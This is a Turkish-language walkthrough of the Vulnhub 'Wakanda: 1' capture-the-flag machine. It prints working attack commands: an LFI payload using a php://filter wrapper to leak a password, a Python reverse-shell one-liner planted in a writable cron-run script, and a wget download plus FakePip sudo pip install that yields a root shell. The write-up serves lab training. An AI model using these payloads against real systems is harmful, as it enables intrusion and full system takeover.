Write-up CTF
Wakanda: 1 Writeup
Bu yazımda Vulnhub’ta yer alan orta zorluk seviyesindeki Wakanda: 1 adlı zafiyetli sanal makinesinin çözümünü paylaşacağım.
Aşağıdaki adresten sanal makineyi indirebilirsiniz.
https://www.vulnhub.com/entry/wakanda-1,251/
Sayfada yer alan açıklamada 3 adet flag olduğu belirtiliyor: flag1.txt, flag2.txt ve root.txt.
Makineyi, VMware veya VirtualBox sanallaştırma ortamlarından birine kurduktan sonra ilk olarak hedef IP adresimizi bulmakla işe koyulalım.
Netdiscover aracı ile bulunduğumuz subnet’teki aktif IP adreslerini tespit edelim.
netdiscover -r <range> -i <interface>
Hedef makinemizin IP adresi: 10.0.2.6
IP adresini öğrendikten sonra ilk olarak sistem üzerinde çalışan servisler hakkında bilgi edinmek için nmap taraması yapalım.
nmap -Pn -n -A -v 10.0.2.6
Nmap taraması çıktısı:
Nmap scan report for 10.0.2.6
Host is up (0.00045s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Vibranium Market
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 33175/tcp status
|_ 100024 1 46635/udp status
3333/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 1c:98:47:56:fc:b8:14:08:8f:93:ca:36:44:7f:ea:7a (DSA)
| 2048 f1:d5:04:78:d3:3a:9b:dc:13:df:0f:5f:7f:fb:f4:26 (RSA)
| 256 d8:34:41:5d:9b:fe:51:bc:c6:4e:02:14:5e:e1:08:c5 (ECDSA)
|_ 256 0e:f5:8d:29:3c:73:57:c7:38:08:6d:50:84:b6:6c:27 (ED25519)
MAC Address: 08:00:27:3C:1E:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.9
Uptime guess: 0.004 days (since Mon Aug 20 16:05:56 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80 numaralı portta yer alan web uygulaması ile başlayalım. Sayfayı ziyaret ettiğimizde aşağıdaki gibi bir ekranla karşılaşıyoruz.
Uygulama üzerinde dosya ve dizinleri tespit edebilmek için dirb ile dizin taraması yapalım.
dirb <url>
Listelenen dizinlere göz attığımda herhangi bir sonuç elde edemedim. Ardından sayfanın kaynak kodunu incelediğimde yorum satırı olarak bırakılmış “lang” parametresi dikkatimi çekti.
http://10.0.2.6/?lang=fr olarak gidildiğinde sayfanın dili değişiyor.
Bu noktada bir Local File Inclusion (LFI) olabileceğini düşünerek denemeler yaptığımda zafiyetin olduğunu gördüm. İşleyiş olarak lang parametresine fr değeri verildiğinde bu parametre sonuna .php uzantısını ekleyip fr.php dosyası çağırıyor. Index.php dosyasının olduğunu bildiğimden dolayı PHP Wrapper ile bu dosyanın içeriğini okumaya çalıştım.
curl http://10.0.2.6/?lang=php://filter/convert.base64-encode/resource=index | base64 -d
Index.php dosyasını okuduğumda,
password =”Niamey4Ever227!!!” bilgisine ulaştım. Bu bilgiyi not ediyorum. Nmap taraması sonucunda 3333 numaralı portta SSH servisinin çalıştığını biliyoruz. Parolayı bulduk ama bize bir de kullanıcı adı lazım. Sayfanın kodunu incelemeye devam ettiğimde “mamadou” adını gördüm.
“mamadou” kullanıcı adı ve index.php dosyasından ele geçirdiğimiz parola bilgisi ile giriş yapmayı denediğimde başarılı bir şekilde SSH bağlantısı yapabildim.
SSH bağlantısı yaptığımda doğrudan python shell’e düştüm. Bash’e geçmek için;
import pty; pty.spawn(“/bin/bash”)
Bash’e düştükten sonra 1. flag’ımıza eriştik.
Flag 1: d86b9ad71ca887f4dd1dac86ba1c4dfc
/etc/passwd dosyasını okuduğumda, sistemde “devops” adlı bir kullanıcı daha olduğunu görüyoruz.
“devops” kullanıcısının /home dizinini listelediğimde flag2.txt dosyasını görebiliyoruz ancak okuma yetkimiz bulunmuyor. Bu dosyayı, devops kullanıcısı ve developer grubuna dahil olan kullanıcılar okuyabiliyor.
Find komutu ile devops kullanıcısının sahip olduğu dosyaları listelediğimde, /srv/.antivirus.py dosyasına okuma ve yazma yetkimiz olduğunu görüyoruz.
find / -user devops 2>/dev/null
Bu dosyanın periyodik olarak çalıştığını düşünerek, dosyaya yazabildiğimiz için reverse shell alabileceğimiz kodu ekliyoruz.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
Reverse Shell Cheat Sheet için: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md adresi incelenebilir.
Reverse shell alacağım portu dinlemeye aldım. Ardından, belirli bir süre sonra devops kullanıcı yetkisi ile oturum elde ettim.
2. flag’ımız home dizini altındaydı.
Flag 2: d8ce56398c88e1b4d9e5f83e64c79098
Sistemde root yetkisi elde etmek için devops kullanıcısının sudo yetkileri ile çalıştırabilir komutları listelediğimde, “pip” komutunun root yetkisi ile çalıştırılabildiğini görüyoruz.
Pip üzerinden yetki yükseltmek için FakePip kullanılabilir.
https://github.com/0x00-0x00/FakePip
(https://gtfobins.github.io/gtfobins/pip/ adresi de incelenebilir.)
Repoyu lokalimize klonluyoruz.
git clone https://github.com/0x00-0x00/FakePip.git
Ardından setup.py dosyasındaki host bilgisine reverse shell alacağımız IP adresini tanımlayıp nc ile dinleme moduna geçiyoruz.
Hedef sistemde wget ile setup.py dosyasını sisteme indirelim.
wget http://10.0.2.4:8000/setup.py
Setup.py dosyasını hedef sisteme indirdikten sonra
sudo /usr/bin/pip install . –upgrade –force-reinstall
komutunu çalıştırdığımızda dinlediğimiz porta, root yetkilerinde reverse shell alıyoruz.
“root” kullanıcısının home dizini altındaki root.txt dosyasını okuyalım.
3. ve son root flag’ımız:
Root Flag: 821ae63dbe0c573eff8b69d451fb21bc